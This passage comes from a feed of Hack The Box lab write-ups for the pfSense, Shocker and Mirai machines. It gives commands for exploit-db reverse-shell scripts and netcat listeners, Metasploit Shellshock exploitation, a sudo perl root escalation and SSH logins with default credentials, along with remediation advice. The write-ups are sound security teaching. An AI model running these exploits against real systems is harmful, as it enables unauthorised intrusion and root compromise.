<pre><code class="lang-bash">cp /usr/share/exploitdb/exploits/linux/remote/43560.py .
</code></pre>
<p>and to check if it has been copied in this folder:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.24.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>On one terminal (right side) I set up a listener with:</p>
<pre><code class="lang-bash">nv -nvlp 1234
</code></pre>
<p>I then set up the exploit (left side) with:</p>
<pre><code class="lang-bash">python 43560.py --rhost 10.10.10.60 --lhost 10.10.14.13 --lport 1234 --username rohit --password pfsense
</code></pre>
<p>I got a shell as root!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.24.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start gathering some basic info. <strong>id</strong> returns the real user ID of the calling process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.25.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-5-looking-for-the-usertxt-flag"><strong>Step</strong> 5 <strong>- </strong>Looking for the user.txt flag<em>**</em></h2>
<p>I navigate to the <strong>rohit</strong> folder from <strong>home</strong>.</p>
<p>I can list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>home</strong> folder with:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.26.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I check the contents of the file with:</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step 5 -</strong> Looking for the root.txt flag</h2>
<p>Let's find the root flag now. I navigate up to <strong>root</strong>.</p>
<p>I find the root.txt file and check its content with:</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.27.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Do not store sensitive information such as login credentials or your patching status on a plaintext file on the webserver</li>
<li>The pfsense application should be patched to latest</li>
<li>Make sure to change the default password when you're setting up new applications/servers/platforms</li>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
</ul>
<p>Please don’t hesitate to ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/702551.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Shocker ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-shocker/</link>
                <guid isPermaLink="false">66ba3132b113ca81d3406ead</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 03 Sep 2020 06:46:14 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/09/cyberpunk-neon-city-s0-2560x1440-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-20.25.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Shocker demonstrates the severity of the renowned Shellshock exploit, which affected millions of public-facing servers.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>gobuster</li>
<li>curl</li>
<li>searchsploit</li>
<li>metasploit</li>
</ul>
<p>Let's get started.</p>
<p>First, I add <strong>Shocker</strong> on the /etc/hosts file.</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.56     shocker.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-20.33.53.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-20.40.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v shocker.htb
</code></pre>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>shocker</strong>.htb:<em>**</em> hostname for the Shocker box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap shocker.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-20.42.15.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 2 open ports including:</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<p><strong>Port 2222</strong>, EtherNet/IP implicit messaging for IO data</p>
<h2 id="heading-directory-scanning"><strong>Directory scanning</strong></h2>
<p>I use <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. More info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. </p>
<p>Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.00.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command for the dirb common.txt wordlist:</p>
<pre><code class="lang-bash">gobuster dir -u shocker.htb -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p>There are a couple of great finds, including <strong>/cgi-bin/</strong>. I do another directory scan with a focus on common extensions (cgi, sh, pl and py):</p>
<pre><code class="lang-bash">gobuster dir -u shocker.htb/cgi-bin -w /usr/share/worldlists/dirb/common.text -x cgi,sh,pl,py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-20.59.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I spot something interesting with <strong>/user.sh</strong>.</p>
<h2 id="heading-step-2-understanding-shellshock-vulnerability"><strong>Step 2 -</strong> Understanding Shellshock vulnerability</h2>
<p>From the reconnaissance phase, I decide to start with port 80. And I get this page.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.20.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Not really helpful. </p>
<p>I curl the page and I can see the script is running some bash.</p>
<pre><code class="lang-bash">curl shocker.htb/cgi-bin/user.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.23.39.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I do some research around the machine name and the Linux exploitation system, and come across the <a target="_blank" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a> vulnerability.</p>
<blockquote>
<p><strong>Shellshock</strong>, also known as <strong>Bashdoor</strong>, is a family of security bugs in the <a target="_blank" href="https://en.wikipedia.org/wiki/Unix">Unix</a><a target="_blank" href="https://en.wikipedia.org/wiki/Bash_(Unix_shell)">Bash</a>shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorised access to many Internet-facing services, such as web servers, that use Bash to process requests - Wikipedia</p>
</blockquote>
<p>Shellshock relies on the fact that Bash executes trailing commands when it imports a function definition stored in an environment variable. </p>
<p>Since these environment variables are not sanitized properly before being executed, an attacker can send commands to a server through HTTP requests and execute them through the web server's operating system.</p>
<h2 id="heading-why-does-that-attack-work"><strong>Why does that attack work?</strong></h2>
<p>Shellshock occurs when an attacker modifies the origin HTTP request to contain the following string: <code>() { :; };</code>. Bash has special rules for handling a variable starting with this pattern, and will interpret it as a command that needs to be executed.</p>
<p>You can read more on the <strong>National Vulnerability Database</strong></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.46.12.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2014-6271">https://nvd.nist.gov/vuln/detail/CVE-2014-6271#vulnCurrentDescriptionTitle</a></em></p>
<p>or have a look at this <strong>OWASP</strong> presentation on this topic</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.47.35.png" alt="Image" width="600" height="400" loading="lazy">
<em>[https://owasp.org/www-pdf-archive/Shellshock</em>-_Tudor<em>Enache.pdf](https://owasp.org/www-pdf-archive/Shellshock</em>-_Tudor<em>Enache.pdf)</em></p>
<p><strong>F5</strong> also wrote a piece around this exploit</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/image-150.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://f5.com/solutions/mitigation/mitigating-the-bash-shellshock-cve-2014-6271-and-cve-2014-7169-vulnerabilities</em></p>
<h2 id="heading-step-3a-exploiting-bashdoor-with-metasploit"><strong>Step 3</strong>a <strong>- Exploiting</strong> Bashdoor with Metasploit</h2>
<p>We will use <strong>Metasploit</strong>, which is a penetration testing framework that makes hacking simple. It's an essential tool for many attackers and defenders.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/Screenshot-2019-08-02-at-21.14.13.png" alt="Image" width="600" height="400" loading="lazy">
<em>[https://www.metasploit.com/](https://www.metasploit.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-size: 17.6px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;)</em></p>
<p>I launch the <strong>Metasploit Framework</strong> on Kali and look for the command I should use for the exploit.</p>
<p>Don't forget to update Metasploit when you launch it with this command:</p>
<pre><code class="lang-bash">msfupdate
</code></pre>
<p>You can also check if the target is vulnerable to Shellshock on Metasploit using an auxiliary. Start with this command:</p>
<pre><code class="lang-bash">search shellshock
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.04.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and then</p>
<pre><code class="lang-bash">use 0
</code></pre>
<p>to select</p>
<pre><code class="lang-bash">auxiliary/scanner/http/apache_mod_cgi_bash_env
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.09.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can check the options with</p>
<pre><code class="lang-bash">show options
</code></pre>
<p>set RHOSTS with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> RHOSTS shocker.htb
</code></pre>
<p>and set TARGETURI with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">set</span> TARGETURI /cgi-bin/user.sh
</code></pre>
<p>Then run the auxiliary with</p>
<pre><code class="lang-bash">check
</code></pre>
<p>The host is likely to be vulnerable to Shellshock!</p>
<p>Let's now check the exploit with</p>
<pre><code class="lang-bash">use 5
</code></pre>
<p>or the command</p>
<pre><code class="lang-bash">exploit/multi/http/apache_mod_cgi_bash_env_exec
</code></pre>
<p>I set the RHOSTS, the TARGETURI, and the LHOST – mine was 10.10.14.28. You will need to set it up with your own LHOST. You can check yours <a target="_blank" href="https://www.hackthebox.eu/home/htb/access">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.17.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the options to see if everything is set up correctly.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-23.03.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then run the exploit with</p>
<pre><code class="lang-bash">run
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-23.08.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get a <strong>Meterpreter</strong> session.</p>
<p>Here's the definition of Meterpreter from <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/">Offensive Security</a>:</p>
<blockquote>
<p>Meterpreter is an advanced, dynamically extensible payload that uses <em>in-memory</em> DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.</p>
</blockquote>
<p>You can read more about Meterpreter <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">here</a>.</p>
<p>Let's start by gathering some information.</p>
<p><strong>getuid</strong> returns the real user ID of the calling process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-23.09.00.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3b-exploiting-bashdoor-without-metasploit"><strong>Step</strong> 3b <strong>- Exploiting</strong> Bashdoor without <strong>Metasploit</strong></h2>
<p>I use <strong>Searchsploit</strong> to check if there is any known exploit. Searchsploit is a command line search tool for <a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit shellshock
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-21.55.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get more details on an exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 34900.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-07.33.58.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check the <strong>Exploit Database</strong> to find the same exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-07.33.23.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://www.exploit-db.com/exploits/34900">https://www.exploit-db.com/exploits/34900</a></em></p>
<p>I get more information with:</p>
<pre><code class="lang-bash">searchsploit -p 34900.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-07.41.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see where it is located on my Kali box. I copy the file in my Shocker folder with</p>
<pre><code class="lang-bash">cp /usr/share/exploitdb/exploits/linux/remote/34900.py .
</code></pre>
<p>and to check if it has been copied in this folder</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-07.41.39.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then set up the exploit with</p>
<pre><code class="lang-bash">python 34900.py payload=reverse rhost=shocker.htb lhost=10.10.14.4 lport=1234 pages=/cgi-bin/user.sh
</code></pre>
<p>I set the payload to reverse for a TCP reverse shell and it requires setting up the rhost, the lost, and the lport.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-01-at-21.44.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get a shell!</p>
<h2 id="heading-step-4-looking-for-the-usertxt-flag"><strong>Step</strong> 4 <strong>-</strong> Looking for the user.txt flag</h2>
<p>I navigate to the <strong>shelly</strong> folder from <strong>home</strong>.</p>
<p>I can list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>home</strong> folder with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.21.00.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I check the contents of the file with</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step 5 -</strong> Looking for the root.txt flag</h2>
<p>I try to navigate to the <strong>root</strong> folder. Access is denied. We need to perform privilege escalation.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.22.42.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I type the following command to get a standard shell on the target system</p>
<pre><code class="lang-bash">shell
</code></pre>
<p>I spawn a TTY shell with</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">"import pty; pty.spawn('/bin/bash/');"</span>
</code></pre>
<p>I need to change to the root user to access this folder. I use the command</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>to understand which command I can run on localhost.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.26.07.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find that the user Shelly can execute the Perl command as “root” without a password. I perform a Perl privilege escalation with</p>
<pre><code class="lang-bash">sudo perl -e <span class="hljs-string">'exec "/bin/bash";'</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.30.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I am now root! I can navigate to the <strong>root</strong> folder. I find the root.txt file and check its content with</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-22.31.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Upgrade Bash to a version that doesn't interpret <code>() { :; };</code> in a special way</li>
<li>Patch your servers!</li>
</ul>
<p>Please don’t hesitate to comment, ask questions, or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/cyberpunk-neon-city-s0-2560x1440.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Mirai ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains a number of challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF styl... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-mirai/</link>
                <guid isPermaLink="false">66ba3127a7990ee5f3aa5de0</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Fri, 28 Aug 2020 19:41:51 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/08/cyberpunk-city-rt-2560x1440.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains a number of challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-19-at-23.43.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Mirai is a good example of how improperly configured IoT devices led to one of the largest attack vectors in 2016. IoT devices are actively being exploited by botnets and used for long-term persistence by attackers.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>gobuster</li>
<li>Medusa</li>
<li>Linux commands</li>
</ul>
<p>Let's get started.</p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-00.42.40.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.10.10.48
</code></pre>
<p><strong><code>-A</code>:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong><code>-v</code>:</strong> Increases verbosity level</p>
<p><strong><code>10.10.10.48</code></strong>:<em>**</em> IP for the Mirai box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap 10.10.10.48
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-00.40.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 3 open ports:</p>
<p><strong>Port</strong> 22. Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port 53</strong>. Domain Name System (DNS)</p>
<p><strong>Port</strong> 80. Hypertext Transfer Protocol (HTTP). Here it's an IIS server.</p>
<h2 id="heading-directory-scanning"><strong>Directory scanning</strong></h2>
<p>I use <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. You can find more info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. </p>
<p>Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.33.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command for the dirb common.txt wordlist:</p>
<pre><code class="lang-bash">gobuster dir -u 10.10.10.48 -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-00.46.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see some interesting folders. I do another directory scan with a different wordlist.</p>
<pre><code class="lang-bash">gobuster dir -u 10.10.10.48 -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-14.31.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The <strong>admin</strong> folder is definitely one I will visit!</p>
<h2 id="heading-step-2-visiting-the-web-page"><strong>Step 2 - Visiting the web page</strong></h2>
<p>From the reconnaissance phase, I decide to start with port 80. And I get a blank page.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-00.57.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>From the reconnaissance phase, I found the <strong>/admin</strong> folder with <strong>Gobuster</strong>. I navigate to this endpoint:</p>
<pre><code class="lang-bash">10.10.10.48/admin
</code></pre>
<p>I arrive on a Pi-hole admin dashboard.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.00.10.png" alt="Image" width="600" height="400" loading="lazy"></p>
<blockquote>
<p><strong>Pi-hole</strong> is a Linux network-level advertisement and Internet tracker blocking application which acts as a DNS sinkhole and optionally a DHCP server, intended for use on a private network.   </p>
<p>Pi-hole has the ability to block traditional website advertisements as well as advertisements in unconventional places, such as smart TVs and mobile operating system advertisements - Wikipedia</p>
</blockquote>
<p>You can read more <a target="_blank" href="https://en.wikipedia.org/wiki/Pi-hole">here</a> or learn more on the <a target="_blank" href="https://pi-hole.net/">official website</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-14.36.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I click on the <strong>Login</strong> button on the left sidebar and I'm presented with a login screen. A quick search on the Internet, and I can assume that the target is a Raspberry Pi machine, and most likely running <a target="_blank" href="https://en.wikipedia.org/wiki/Raspberry_Pi_OS">Raspbian</a> (Raspberry Pi's OS). </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.00.27.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I also found out that the default username should be "pi" with password "raspberry". I try the default password on this login screen, but it doesn't seem to work. We need to find another way.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-14.50.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-connecting-to-the-pi-hole-through-ssh"><strong>Step 3 - Connecting to the Pi-hole through SSH</strong></h2>
<p>During the reconnaissance phase, we found out that port 22 was open. </p>
<p>I use <strong>Medusa</strong> to check if the default credentials work with ssh. Medusa is a speedy, parallel, and modular login brute-forcer. You can find more information <a target="_blank" href="https://en.kali.tools/?p=200">here</a> on this tool.</p>
<pre><code class="lang-bash">medusa -h 10.10.10.48 -u pi -p raspberry -M ssh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.55.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's now connect using SSH with the following command, as we've just validated that the password is working:</p>
<pre><code class="lang-bash">ssh pi@10.10.10.48
</code></pre>
<p>To connect with SSH, you need the username and the host IP address. In our case, that would be"pi" for the username and "10.10.10.48" for the IP address. The password is "raspberry".</p>
<p>I get a session as:</p>
<pre><code class="lang-bash">pi@raspberrypi
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-01.45.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Once logged in as a user, I can verify whether or not the user belongs to the sudo group using either the <strong>id</strong> or <strong>groups</strong> commands:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-14.56.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The user belongs to the group <strong>root</strong>.</p>
<h2 id="heading-step-4-looking-for-the-usertxt-flag"><strong>Step 4 - </strong>Looking for the user.txt flag<em>**</em></h2>
<p>I list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>Desktop</strong> with</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> Desktop
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/08/Screenshot-2020-08-28-at-15.00.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
